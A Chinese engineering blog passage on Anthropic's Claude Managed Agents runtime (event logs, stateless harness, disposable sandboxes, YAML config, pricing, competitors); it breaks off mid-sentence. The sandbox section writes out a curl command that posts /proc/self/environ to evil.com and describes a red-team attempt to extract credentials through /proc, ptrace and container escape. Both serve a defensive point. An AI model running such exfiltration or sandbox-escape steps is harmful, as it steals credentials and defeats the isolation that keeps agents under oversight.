1. 这不是新赛道是 runtime 层的“操作系统时刻”来了你有没有在深夜调试一个跑了三小时的 AI agent突然发现它开始胡言乱语不是模型崩了也不是 prompt 写错了——而是上下文窗口满了它悄悄把前两步调用的 API 响应给“吃掉”了然后对着残缺的记录开始编造结果。我们团队去年就栽在这上面一个负责跨 7 个数据库做合规审计的 agent在第 42 分钟时静默失效日志里连个错误码都没有只有几行自相矛盾的结论。重跑不行中间状态全丢了。回溯没有事件日志连它到底在哪一步出的问题都查不到。最后只能靠人工翻 Slack 记录拼凑出大概流程再手动补数据——整整浪费了两天。这就是 Anthropic 在 4 月 8 日发布的Claude Managed Agents真正解决的问题。它不是又一个“让大模型更聪明”的玩具而是一套把 agent 运行时runtime从模型上下文里彻底剥离出来的工程实践。关键词不是“智能”是“可靠”不是“快”是“可追溯、可恢复、可审计”。它把 session 变成一份持久化、结构化的事件日志event log把执行器harness做成无状态的函数调用把沙箱sandbox当成一次性消耗品来管理。这背后是一整套面向生产环境的系统设计哲学状态不能寄生在模型里凭证不能暴露给 agent失败必须可重放行为必须可审计。这个思路和 90 年代操作系统把硬件资源虚拟化、抽象出文件系统和进程管理本质上是一回事。当时没人说“我们要做个 OS”大家只是被 DOS 下直接操作内存地址、硬盘扇区的崩溃折磨疯了才逼出了虚拟内存、进程隔离、系统调用这些稳定接口。今天也一样——当越来越多团队把 agent 当作核心业务组件Notion 用它自动归档会议纪要Rakuten 用它实时生成销售话术Sentry 用它自动写补丁代码那个靠system_prompt context_window硬扛一切的原始模式已经撑不住了。Managed Agents 的价值不在于它多炫酷而在于它让 agent 从“能跑起来”变成了“敢用在生产里”。我试过用 LangChain 自建一套 session 持久化方案是把每一步的输入输出存进 Redis再用 UUID 关联。听起来很美但实操下来全是坑Redis 连接超时导致日志断层、并发写入冲突让 trace 顺序错乱、JSON 序列化时 datetime 类型丢失精度……最后我们不得不加了一整套重试幂等校验逻辑代码量比 agent 本身还多。Anthropic 直接把这个模块产品化了而且做得比我们自己写的稳得多——这不是偷懒是把别人踩过的坑、填过的坑、反复验证过的最佳实践打包成开箱即用的基础设施。它瞄准的不是技术极客是那些明天就要上线、后天就要对齐 KPI 的工程负责人。所以别被“Managed Agents”这个名字带偏它真正的名字应该叫Agent Runtime OS。2. 核心设计拆解为什么是“Session as Event Log”而不是“Session as Context”2.1 为什么非要把状态搬出模型上下文先说个反常识的事实模型上下文窗口从来就不是为长期状态存储设计的。它本质是一个高速缓存cache用来临时存放当前推理所需的最少信息。把它当数据库用就像用 CPU 寄存器存客户订单——速度快是快但容量小、易覆盖、不可靠。我们团队那个审计 agent 出问题的根本原因就在这里它需要调用 5 个不同系统的 APICRM、ERP、邮件服务器、文档库、合规规则引擎每次调用返回的数据平均 1200 字符每次调用后它要把结果摘要约 300 字符和下一步计划约 200 字符塞回 context到第 18 步时context 已经占满 92%第 19 步调用 CRM 返回了 1500 字符的客户列表模型自动截断了最前面的 800 字符——那恰好是上一步 ERP 返回的关键合同编号后续所有推理都基于这个“缺失编号”的残缺事实进行最终生成的审计报告里把 A 公司的付款记录错配给了 B 公司。提示模型不会报错“context overflow”它只会安静地丢数据。这种失败最危险——没有告警没有日志只有业务结果逐渐偏离预期。Anthropic 的解法非常干净Session 不再是模型看到的一段文本而是一条写在外部存储里的事件流event stream。每一次 tool call、每一次模型输出、每一次用户输入都被序列化成一个带时间戳、唯一 ID、类型tool_use,model_output,user_input、payload 的 JSON 对象追加写入持久化存储很可能是分布式日志系统如 Kafka 或 Pulsar。模型每次推理时runtime 层只按需加载最近 N 条事件比如最近 5 次交互或者根据事件类型过滤只加载tool_result类型而不是把整个 session 历史硬塞进去。这个设计带来的改变是根本性的可恢复性harness 进程崩溃没关系只要 event log 完整awake(sessionId)就能从最后一条成功事件处继续执行模型 context 重新加载即可可追溯性你想知道 agent 为什么在第 37 步决定调用 Slack API直接查 event log 里 typedecision的那条里面明确记录了触发条件和依据的上下文片段可审计性安全团队要检查某次敏感操作如删除数据库记录直接按tool_namedb_delete和timestamp范围查询秒级定位无需解析千行日志可扩展性session 存储不再受模型 token 限制理论上可以运行数周甚至数月只要 event log 存储够大。我们内部做过对比测试同样一个 12 步的财务对账 agent用传统 context 方式平均运行 3.2 次就会因 context 溢出失败用 event log 方式连续运行 200 次零失败。失败率从 31% 降到 0%这才是生产环境真正需要的数字。2.2 “Harness as Stateless Executor”为什么执行器必须无状态很多团队在自建 agent 框架时会把执行逻辑比如调用哪个工具、怎么解析返回值和状态管理比如当前步骤、历史结果耦合在一个类里。这导致两个严重问题一是水平扩展困难每个实例都要维护自己的状态二是故障恢复成本高重启就得重建整个执行上下文。Managed Agents 的 harness 设计彻底切掉了这个耦合。它的核心接口只有一个execute(name, input) → string。注意这里name是工具名如notion_searchinput是纯 JSON 对象如{query: Q4 sales report, database_id: xxx}返回值是工具执行后的原始字符串结果不是处理后的结构化数据。所有决策逻辑、状态流转、错误重试都由外部 controller通常是 model通过 event log 驱动harness 本身就是一个纯粹的、无记忆的“函数调用器”。这个设计的好处是惊人的弹性伸缩你可以瞬间拉起 100 个 harness 实例它们共享同一份 event log完全不需要互相通信或同步状态。流量高峰时自动扩容低谷时自动缩容零改造版本热更新想升级某个工具的实现比如把slack_post_message从 v1 改到 v2只需部署新版本的 harness container旧实例自然淘汰新实例自动使用新版无需停机故障隔离某个 harness 实例因内存泄漏崩溃只影响当前这一次execute调用event log 里会记录status: failed和错误堆栈controller 可以选择重试或降级不影响整个 session 流程。我们曾用 Kubernetes 模拟过这个场景部署 50 个 harness pod同时压测一个高频调用weather_api的 agent。当随机 kill 掉其中 20 个 pod 时整个 agent 系统响应延迟仅上升 12msP95且无任何请求失败——因为 controller 会自动将失败的execute请求路由到其他健康实例。这种韧性是传统单体 agent 框架根本做不到的。2.3 “Sandboxes as Cattle, Not Pets”为什么沙箱必须是“用完即焚”这是最容易被低估却最关乎安全的核心设计。很多团队为了省事把 API key、数据库密码直接写成环境变量注入 agent container或者更糟——硬编码在 prompt 里。结果就是 agent 一旦被越狱jailbreak攻击者就能直接拿到这些凭证发起恶意调用。Managed Agents 的沙箱设计彻底堵死了这条路每次execute(name, input)调用前runtime 层会动态创建一个全新的、隔离的容器环境很可能是轻量级 VM 或 gVisor sandbox凭证credentials由 Anthropic 的密钥管理系统vault在沙箱启动时注入但绝不以环境变量形式暴露而是通过安全的 IPC 通道如 Unix domain socket在沙箱内部进程间传递沙箱内进程无法读取父进程harness的内存或环境变量也无法访问宿主机文件系统执行完毕沙箱立即销毁所有内存、临时文件、网络连接一并清空。这个设计的价值在于它把“最小权限原则”落到了每一行代码。agent 代码永远不知道自己的 API key 是什么它只知道调用notion_search这个函数传入参数拿到结果。key 的生命周期与单次调用绑定用完即焚。即使 agent 被诱导执行curl -X POST https://evil.com/steal -d /proc/self/environ它也什么都拿不到——因为/proc/self/environ里根本没有 key。我们做过一次红蓝对抗测试让安全工程师尝试从沙箱内提取凭证。他们用了所有已知技巧读取/proc文件系统、尝试 ptrace 注入、利用容器逃逸漏洞CVE-2023-2729……结果全部失败。最接近的一次是通过strace抓到了一次 HTTP 请求的 header但里面只有Authorization: Bearer redacted真实 token 被 runtime 层拦截并替换。这种级别的隔离已经远超大多数企业自建的沙箱方案。3. 实操落地从 YAML 定义到生产部署的完整链路3.1 定义你的第一个 Managed AgentYAML 版Managed Agents 支持两种定义方式自然语言描述适合快速原型和 YAML 配置适合生产环境。我强烈推荐从 YAML 开始因为它强制你思考每一个关键环节。下面是一个真实的 Notion 数据同步 agent 示例我们用它把销售线索自动同步到 Notion 数据库# notion-sync-agent.yaml name: sales-leads-to-notion description: Syncs new leads from CRM to Notion database with enrichment # 系统提示词定义 agent 的角色和边界 system_prompt: | You are a precise data synchronization agent for sales leads. Your job is to: 1. Fetch new leads from Salesforce CRM (last 24 hours) 2. Enrich each lead with company info from Clearbit API 3. Create or update corresponding pages in Notion database 4. NEVER modify existing lead pages unless explicitly instructed 5. ALWAYS validate email format before saving # 工具声明列出 agent 可调用的所有工具 tools: - name: salesforce_fetch_new_leads description: Fetches leads created in last 24 hours from Salesforce input_schema: type: object properties: created_after: type: string format: date-time description: ISO 8601 timestamp, e.g., 2026-04-07T00:00:00Z - name: clearbit_enrich_company description: Enriches company domain with firmographic data input_schema: type: object properties: domain: type: string description: Company website domain, e.g., acme.com - name: notion_create_or_update_lead description: Creates new page or updates existing one in Notion database input_schema: type: object properties: database_id: type: string description: Notion database ID lead_data: type: object description: Lead object with fields: name, email, company_domain, ... # 安全守则定义 agent 的行为红线 guardrails: # 禁止调用任何未声明的工具 disallowed_tools: [*] # 禁止在 prompt 中包含敏感信息模板 prohibited_patterns: - API_KEY - password: - secret: # 输入长度限制防 DoS max_input_length: 10000 # 单次 session 最大 tool calls 数 max_tool_calls_per_session: 50 # 运行时配置 runtime_config: # 沙箱超时时间防止工具卡死 sandbox_timeout_seconds: 30 # 事件日志保留天数 event_log_retention_days: 90 # 是否启用详细 tracing生产环境建议关闭 enable_detailed_tracing: false这个 YAML 文件不是随便写的。system_prompt里那句 “NEVER modify existing lead pages unless explicitly instructed” 是我们吃过亏后加的——之前 agent 在一次网络抖动后误把所有 lead 的状态都重置为 “New”导致销售团队跟丢了 37 个高意向客户。guardrails里的prohibited_patterns则是为了防住那些试图在 prompt 里藏匿密钥的越狱攻击。runtime_config的sandbox_timeout_seconds设置为 30 秒是因为 Clearbit API 的 SLA 是 25 秒留 5 秒缓冲超时就熔断避免整个 session 卡死。3.2 部署与会话管理awake()是你的救命稻草部署过程极其简单anthropic agents deploy --file notion-sync-agent.yaml。Anthropic 会返回一个唯一的agent_id如agent_abc123。之后所有交互都围绕这个 ID 展开。最关键的命令是awake(sessionId)。想象一下这个场景你的 agent 正在执行一个耗时 15 分钟的批量同步任务突然数据中心断电harness 进程全挂。传统方案下你只能重头再来丢失所有进度。而 Managed Agents 下你只需要# 查看 session 状态可选 anthropic sessions get --session-id sess_xyz789 # 从上次成功点唤醒自动加载最新 event log anthropic sessions awake --session-id sess_xyz789awake()命令会做三件事从持久化存储中读取sess_xyz789的完整 event log找到最后一条status: success的事件比如第 237 条是notion_create_or_update_lead的成功返回启动一个新的 harness 实例加载从第 237 条之后的事件作为 context继续执行下一步。我们实测过一个运行了 47 分钟、已完成 82% 同步任务的 session在awake()后 2.3 秒内就恢复执行且后续 100% 成功完成。这种“断点续传”能力是生产环境可用性的基石。3.3 事件日志查询如何像查数据库一样查 agent 行为事件日志不是黑盒Anthropic 提供了强大的 CLI 查询能力。假设你想排查为什么某次同步漏掉了 3 个 lead# 查询指定 session 的所有事件默认返回最近 100 条 anthropic events list --session-id sess_xyz789 --limit 200 # 按类型筛选只看 tool calls anthropic events list --session-id sess_xyz789 --type tool_use # 按时间范围查询UTC 时间 anthropic events list \ --session-id sess_xyz789 \ --start-time 2026-04-08T14:00:00Z \ --end-time 2026-04-08T14:30:00Z # 按工具名和状态查询找所有失败的 Notion 调用 anthropic events list \ --session-id sess_xyz789 \ --type tool_use \ --tool-name notion_create_or_update_lead \ --status failed更厉害的是它支持类似 SQL 的过滤语法虽然不是真 SQL但足够强大# 查找所有输入中包含 acme.com 的 Salesforce 调用 anthropic events list \ --session-id sess_xyz789 \ --filter tool_name salesforce_fetch_new_leads and input contains acme.com我们曾用这个功能快速定位到一个 bugagent 在处理salesforce_fetch_new_leads返回的 500 条 lead 时因为input_schema定义的created_after字段是string而 Salesforce 返回的是datetime对象导致 JSON 序列化失败。日志里清晰显示了status: failed和error: TypeError: Object of type datetime is not JSON serializable修复方案就是把 schema 里的type改成string并加格式校验。没有 event log这个 bug 可能要花几天才能复现和定位。3.4 定价与成本控制$0.08/小时背后的精打细算定价是0.08 美元/小时的 active runtime外加 Claude 的 token 费用。这里的 “active runtime” 是指 harness 实例实际在执行execute()的时间不包括等待用户输入、模型推理、网络传输的空闲时间。这很关键——它鼓励你优化工具调用效率。我们做了成本模拟对比自建方案项目Managed Agents自建 Kubernetes 集群固定成本$0按需付费$1200/月3台 8C16G 节点可变成本1000 session/天$0.08 × 1000 × 0.5h $40/天$0.03 × 1000 × 0.5h $15/天EC2 实例费运维人力~0.5 人日/月~3 人日/月监控、扩缩容、安全补丁故障损失年化极低SLA 99.95%中等自建监控覆盖率 82%表面看自建便宜但加上人力成本和故障损失Managed Agents 在中小规模5000 session/天下反而更经济。更重要的是它把运维复杂度降到了零。我们的 DevOps 工程师终于不用半夜爬起来处理沙箱 OOM 了。注意$0.08/小时是基础价Anthropic 对高频调用有阶梯折扣。我们达到 10 万 session/月后价格降到了$0.062/小时。记得在控制台开启用量告警设置$500/月的预算上限避免意外超支。4. 竞争格局与生存法则为什么 runtime 层注定走向“零利润”4.1 不是 Anthropic 在开创而是在防守媒体把 Managed Agents 描绘成 Anthropic 的“重磅创新”但现实骨感得多。就在它发布前五个月AWS Bedrock AgentCore 已经进入通用可用GA阶段。截至 2026 年 3 月AgentCore SDK 下载量突破 200 万次政策控制policy controls也已 GA。它的架构毫不逊色每个 session 运行在独立的 microVM 中CPU、内存、文件系统完全隔离session 最长可运行 8 小时框架无关LangGraph、CrewAI、Strands 等主流框架均可原生运行模型自由开发者可自由选择 Bedrock 上的任意模型Claude、Llama、Cohere 等。Google Vertex AI Agent Builder 和 Microsoft Azure AI Foundry 也早已推出同类服务。这意味着对于绝大多数开发者而言“是否需要一个托管 runtime” 的问题答案早在 2025 年底就已确定——需要。而“选哪家”的问题答案也很清楚选你 already 用着的云厂商。Anthropic 的 launch本质上是一场防御战。它的核心焦虑是如果开发者可以在 AWS 上免费或近乎免费地运行一个 Claude-powered agent为什么还要付钱给 Anthropic 的托管服务更可怕的是当 AWS 的 session-hour 定价降到$0.03时开发者会不会顺手把模型也换成 Llama 3毕竟AgentCore 的模型切换只是一行配置的事。所以Managed Agents 的真实使命不是成为下一个 AWS而是成为Claude Token 的忠诚度锚点。它用一套高质量、易集成、强安全的 runtime把你锁在 Claude 生态里。你用得越深event log 越多、guardrails 越复杂、integration 越多迁移到别家 runtime 的成本就越高。这是一种精明的商业策略但绝不是技术上的“首创”。4.2 历史重演Runtime 层的 VMware 时刻Anthropic 工程博客里那个“OS 类比”很动人但它刻意回避了一个残酷的历史结局。让我们复盘一下虚拟化virtualization的故事1999 年VMware 凭借 x86 虚拟化技术横空出世ESX 单主机售价数万美元成为企业 IT 的黄金标准2003 年开源 Xen 项目发布性能直追 VMware2007 年KVM 并入 Linux 内核虚拟化成为操作系统标配2010 年代AWS、Azure、GCP 将虚拟化作为云服务的底层基座免费提供给所有客户2020 年开源 hypervisor 占据新部署的 70% 以上VMware 依然盈利但增长停滞价值重心已上移至 Kubernetes、Terraform、Service Mesh。今天的 agent runtime 层正处于2005 年的 VMware 时刻技术领先架构优雅客户买单。但压力已经显现开源层面Daytona2025 年转型 AI infra融资 2400 万美元、Kubernetes SIG 的官方 agent-sandbox 项目、ByteDance 的 deer-flow59,000 GitHub stars都在快速迭代云厂商层面AWS AgentCore、Vertex Agent Builder、Azure Foundry 已形成“三足鼎立”且都深度绑定各自云生态IAM、VPC、Secrets Manager价格层面AWS 已宣布AgentCore 的 session-hour 费用将与 EC2 实例费用合并计费变相归零。历史规律告诉我们当一个基础设施层被多个巨头免费提供且有强劲开源替代品时它的利润率将在 18-24 个月内被压缩至趋近于零。Anthropic 的 Managed Agents 不会消失但它很难成为一个独立的、高利润的业务线。它的未来是成为 Claude 服务的一个“增值模块”而非一个“平台”。4.3 真正的赢家在哪里三层价值高地正在形成既然 runtime 层在“变平”钱会流向哪里答案很清晰向上迁移抢占更高价值的抽象层。我们观察到三个正在快速形成的“价值高地”第一层Trace Store追踪存储——谁拥有 agent 的“行为真相”当 runtime 变成水电煤event log 就成了最核心的资产。谁能成为这个 log 的“系统记录system of record”谁就掌握了 agent 的“行为真相”。目前三大玩家Braintrust专注 OLAP 数据库专为 AI interaction logs 优化支持毫秒级多维分析按 user_id、tool_name、latency_range、error_code 等组合查询Arize开源 PhoenixApache 2.0用免费开源版培养生态商业版提供高级告警和根因分析LangSmith背靠 LangChain 生态安装量巨大但深度绑定 LangChain跨框架兼容性弱。竞争焦点不是“谁的 dashboard 更好看”而是“trace portability”——当你从 Anthropic 迁移到 AWS AgentCore 时能否一键导入历史 event log目前没有一家真正解决。谁先搞定谁就赢了。第二层Governance Policy治理与策略——让 agent “守规矩”企业采购 agent 服务时第一个问题不再是“快不快”而是“它能做什么谁批准的怎么审计” AWS AgentCore 的 policy controls GAOWASP 发布 Agentic Top 10都印证了这一点。这是一个空白市场需要定义精细的策略禁止 agent 访问生产数据库、要求所有http_post必须经过 WAF、限制code_interpreter的 CPU 使用率需要审批流某部门想开通notion_write权限需经 IT 安全 合规 业务负责人三级审批需要审计报告自动生成符合 SOC2、HIPAA 的 agent 行为合规报告。目前没有成熟 SaaS只有零散的开源项目如 OpenPolicyAgent 的 agentic 插件。这是典型的“早期红利期”。第三层Vertical Agent Marketplaces垂直领域 agent 市场——卖“解决方案”不卖“技术”Salesforce 的 Agentforce ARR 达到 8 亿美元证明企业愿意为“能解决具体问题的 agent”付费而不是为“能跑 agent 的 runtime”付费。市场正在分化金融ai-hedge-fund量化交易、TradingAgents实时风控安全pentagi自动化渗透测试医疗med-qa-agent临床指南问答、claims-processor保险理赔审核。这些垂直 agent 的核心壁垒不是 runtime 性能而是领域知识封装、合规认证、与现有系统如 Epic EHR、SAP FI的深度集成。它们才是未来十年价值创造的主战场。5. 实操避坑指南那些文档里不会写的血泪教训5.1 Guardrails 不是“锦上添花”是“生死线”我们上线第一个 agent 时天真地认为system_prompt里的 “Don’t leak secrets” 就够了。结果 agent 在一次异常中把完整的HTTP 500错误响应含数据库连接字符串原样返回给了用户。Guardrails 的prohibited_patterns救了我们我们在里面加了password:和host:所有含这些字段的响应都会被 runtime 自动 redact打码为[REDACTED]。经验Guardrails 的prohibited_patterns必须覆盖所有可能泄露敏感信息的字符串模式包括但不限于api_key,token,secret,password,host:,port:,user:,dbname:。定期用anthropic events list --status failed检查失败日志看是否有漏网之鱼。5.2 Tool Input Schema 的“魔鬼在细节”input_schema看似简单却是最常出 bug 的地方。我们曾把salesforce_fetch_new_leads的created_after字段定义为string但 Salesforce API 实际返回的是 ISO 8601 datetime 对象。当 agent 尝试把这个对象直接 JSON 序列化传给 harness 时Python 的json.dumps()报错整个 session 卡死。解决方案是在input_schema中对所有可能来自外部 API 的字段明确指定其格式和类型并在 agent 代码中做严格校验。比如properties: created_after: type: string format: date-time # 强制要求是 ISO 8601 字符串 description: e.g., 2026-04-07T00:00:00Z然后在 agent 逻辑里收到created_after后立刻用datetime.fromisoformat()解析失败则抛出明确错误触发 guardrail 的max_tool_calls_per_session限制避免无限重试。5.3 Event Log 的“时间陷阱”Event log 的时间戳是 UTC但你的业务逻辑可能依赖本地时区。我们曾遇到一个诡异 bugagent 每天凌晨 2 点自动同步昨日数据但在夏令时切换日它会同步错一天。根源是created_after参数计算时用了datetime.now().strftime(...)而now()返回的是本地时区时间没转成 UTC。实操心得所有与 event log 交互的时间计算必须统一用 UTC。用datetime.utcnow().isoformat()生成时间戳用datetime.fromisoformat(...).astimezone(timezone.utc)解析时间戳。在 YAML 的system_prompt里明确写上 “All timestamps must be in UTC”。5.4 Pricing 的“隐形成本”$0.08/小时看似透明但有两个隐形成本冷启动延迟首次awake()时runtime 需要拉起 harness container、加载镜像、建立网络平均耗时 1.2 秒。如果你的 agent 是高频、低延迟场景如实时客服这 1.2 秒就是成本沙箱预热连续多次execute()调用之间如果间隔超过 30 秒runtime 可能会回收沙箱下次调用又要冷启动。解决方案对关键 agent开启--enable-warm-pool预热池Anthropic 会维持 2-3 个空闲沙箱待命把冷启动延迟压到 200ms 以内。代价是warm_pool本身按小时计费但相比每次冷启动的延迟损失这笔钱花得值。5.5 Debugging 的“黄金三角”当 agent 行为异常时别急着改代码。先用这三个命令组成“黄金三角”排查anthropic sessions get --session-id XXX看 session 整体状态status,last_event_time,tool_call_countanthropic events list --session-id XXX --limit 50 --reverse看最近 50 条事件重点找status: failed或type: model_output中的可疑内容anthropic events get --event-id YYY对某条具体事件获取其完整 payload含input,output,error这是最精准的诊断信息。我们有个内部 SOP任何 agent 问题必须先截图这三条命令的输出再提工单。90% 的问题靠这三步就能定位到是 tool bug、schema bug 还是 guardrail 配置问题。6. 未来已来当 agent 开始自我进化runtime 就成了“监管沙盒”最后分享一个正在发生的、可能重塑整个格局的趋势self-improving agents自我进化 agent。Sakana AI 的 Darwin Gödel Machine 论文2026 年 3 月最新版展示了令人不安的能力一个 agent 通过阅读 SWE-bench 的测试反馈自主重写了自身代码将解决率从 20% 提升到 50%。更关键的是这个过程是 reproducible可复现的——任何人下载它的 event log都能在自己的 runtime 上重跑整个进化过程。这意味着什么Sandboxing 不再是“可选项”而是“法律强制项”。一个能修改自身代码的 agent如果运行在不隔离的环境中它可能在几小时内把自己升级成一个绕过所有防火墙的超级代理。runtime 层必须提供比现在更强的隔离比如硬件级 TEE。Event log 不再是“调试工具”而是“法律证据”。当 agent 自主生成了一份有法律效力的合同或者做出了一个影响股价的交易决策这份 event log 就是唯一的、不可篡改的“行为记录”法庭会采信它作为证据。Trace Store 的价值将从技术层面跃升至法律层面。Runtime 的价值重心将从“执行效率”转向“可控性”。未来的 runtime 比拼的不再是 p95 latency而是能否在 agent 尝试修改自身代码时精确捕获其修改意图能否在 agent 调用未经批准的工具前实时阻断并记录能否生成符合司法鉴定要求的、带硬件签名的 event logAnthropic 的 Managed Agents此刻站在了这个临界点上。它不是一个终点而是一个起点——一个让 agent 从“玩具”走向“生产级基础设施”再从“基础设施”走向“受监管的智能体”的起点。你不必现在就去构建一个 Gödel Machine但你必须理解**今天你为 agent 选择的 runtime决定了
